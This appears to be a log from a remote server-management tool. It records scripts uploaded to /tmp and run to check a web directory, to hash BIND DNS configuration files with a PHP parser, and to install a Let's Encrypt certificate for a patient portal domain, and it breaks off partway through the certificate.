MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-28 11:29:27: Establishing a connection
2026-05-28 11:29:27: Establishing a connection
2026-05-28 11:29:28: 

PUT: /tmp/pkp421391

#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-28 11:29:28: 

chmod 755 /tmp/pkp421391; /tmp/pkp421391; rm /tmp/pkp421391

2026-05-28 11:29:28: 


0


2026-05-28 11:30:32: Establishing a connection
2026-05-28 11:30:33: 

PUT: /tmp/pkp423249

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-28 11:30:33: 

runuser -l bind -s /bin/bash -c '/tmp/pkp423249; rm /tmp/pkp423249'

2026-05-28 11:30:33: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-28 11:34:45: Establishing a connection
2026-05-28 11:34:45: Establishing a connection
2026-05-28 11:34:45: 

PUT: /tmp/pkp656833

#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-28 11:34:46: 

chmod 755 /tmp/pkp656833; /tmp/pkp656833; rm /tmp/pkp656833

2026-05-28 11:34:46: 


0


2026-05-28 11:35:21: Establishing a connection
2026-05-28 11:35:21: 

PUT: /tmp/pkp976344

#!/bin/bash
temp_file=$(mktemp)
TARGET=01414147ca2e2039609db8973ea8b269.crt

cat > $temp_file <<'endmsg'
7b:5e:4b:c8:d7:05:29:87:98:f9:35:56:b7:f3:86:19

-----BEGIN CERTIFICATE-----
MIIFHTCCBAWgAwIBAgISBWxUCkF5ByeIBZYRqseVua+OMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTI4MTAzNjUwWhcNMjYwODI2MTAzNjQ5WjAhMR8wHQYDVQQD
ExZwb3J0YWwucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAmyX8neVaJitksf86D/rtHXYDRvQp+9o8TxnobGcthXo9+3SNjHSH
hRcUD52900U/Tesk0P7iJqJY9E0x/kZtTjY1n2HjNKAbjMlUiq3J59m2s9uq6+9L
Nu8/Xg4td5JHReeEgHQ8yb6H1FY+XugWs7XpCckp+H1qHjuxvZswNqnAz57VizuG
EaHmwtzZvOpc6U/nYeTUT5ZC1qeAcoDzNoZ4OsHmThBJ5VEbk4texCE0+lCkUsLm
V1vwSxERMDQBBJI0OgMbXNJ1EGhUnZjKtHkLFxMrlHsFUvjbNuD0ybjMWN3+BLZv
